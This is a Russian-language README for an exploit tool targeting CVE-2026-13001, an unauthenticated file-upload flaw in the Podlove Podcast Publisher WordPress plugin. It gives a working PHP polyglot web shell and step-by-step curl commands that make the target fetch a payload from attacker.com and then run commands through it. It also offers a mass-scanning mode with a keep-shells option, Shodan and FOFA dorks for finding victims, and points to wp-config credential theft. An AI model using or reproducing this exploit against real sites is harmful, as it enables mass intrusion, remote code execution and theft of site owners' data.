
Эксплойт для CVE-2026-13001 — неаутентифицированная произвольная загрузка файлов в плагине Podlove Podcast Publisher для WordPress, позволяющая удалённое выполнение кода через загрузку PHP-полиглота. Включает режимы одиночной цели и массового сканирования.
CVE-2026-13001 — критическая (CVSS 9.8) неаутентифицированная уязвимость произвольной загрузки файлов в плагине Podlove Podcast Publisher для WordPress версий ≤ 4.5.1.
Уязвимость эксплуатирует несоответствие между двумя внутренними функциями, которые по-разному разбирают расширения файлов:
is_image() использует basename(), который включает строку запроса → URL shell.php?.gif выглядит как .gif ✅ (валидное изображение)extract_file_extension() использует только путь из parse_url() → возвращает .php → файл сохраняется с расширением .php 🚨Атакующие загружают GIF89a PHP-полиглоты (валидный GIF-заголовок + встроенный PHP), которые проходят проверку изображения, но выполняются как PHP при обращении.
| Версия | Статус |
|---|---|
| ≤ 4.5.1 | Уязвима |
| 4.5.2+ | Исправлена |
Обнаружено: Talal Nasraddeen через Wordfence (14 июля 2026 г.)
// is_image() — использует basename(), который включает строку запроса
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ ОБХОД
// extract_file_extension() — использует только путь из parse_url()
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 СОХРАНЯЕТСЯ КАК .php
1. Атакующий размещает GIF89a PHP-полиглот на attacker.com/shell.php?.gif
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() проверяет расширение .gif → ПРОЙДЕНО
4. Плагин скачивает файл → сохраняет как test_original.php в cache/
5. Атакующий обращается к /wp-content/cache/podlove/{hash}/test_original.php
6. PHP выполняется → RCE
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
# Одиночная цель
python cve_2026_13001.py -t target.com
# Массовое сканирование
python cve_2026_13001.py -f targets.txt -o shells.txt
# Пользовательский URL полезной нагрузки
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
# Режим отладки, оставить шеллы
python cve_2026_13001.py -t target.com --debug --no-cleanup
-t, --target Одиночная цель (домен или IP)
-f, --file Список целей, по одной на строку
-o, --output Сохранить RCE-URL в файл
--payload-url URL, размещающий PHP-полиглот (по умолчанию: GitHub raw)
--threads Количество параллельных потоков (по умолчанию: 30)
--no-cleanup Оставить шеллы на цели
--debug Показывать каждый HTTP-запрос
-v, --verbose Подробный вывод
$ python cve_2026_13001.py -t podcast-site.com
Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
Host : podcast-site.com
Podlove : YES v4.5.1
Upload : YES
RCE : YES
Shell : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
Output : uid=33(www-data) gid=33(www-data)
Time : 4.2s
Targets: 500 | Threads: 30
Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
[RCE] podcast-vuln-01.com https://podcast-vuln-01.com/wp-content/cache/podlove/...
[150/500] 30% | Det:42 RCE:8
Шаг 1 — Разместите полиглот-шелл
// shell.php — сохраните и разместите на своём сервере
GIF89a<?php system($_GET['c']); ?>
Шаг 2 — Hex-кодируйте URL с обходом
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
Шаг 3 — Запустите загрузку в кэш
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
Шаг 4 — Обратитесь к шеллу
# Путь: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
FOFA: body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"
Успешная эксплуатация даёт удалённое выполнение кода от имени пользователя веб-сервера:
wp-config.php → учётные данные базы данныхТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ЦЕЛЕЙ ТЕСТИРОВАНИЯ.
Авторы не несут ответственности за неправомерное использование.
| Ресурс | Ссылка |
|---|---|
| Консультация Wordfence | wordfence.com |
| Релиз безопасности Podlove | podlove.org |
| Запись NVD | CVE-2026-13001 |
| Исследователь | Talal Nasraddeen |
Не аффилировано с Podlove.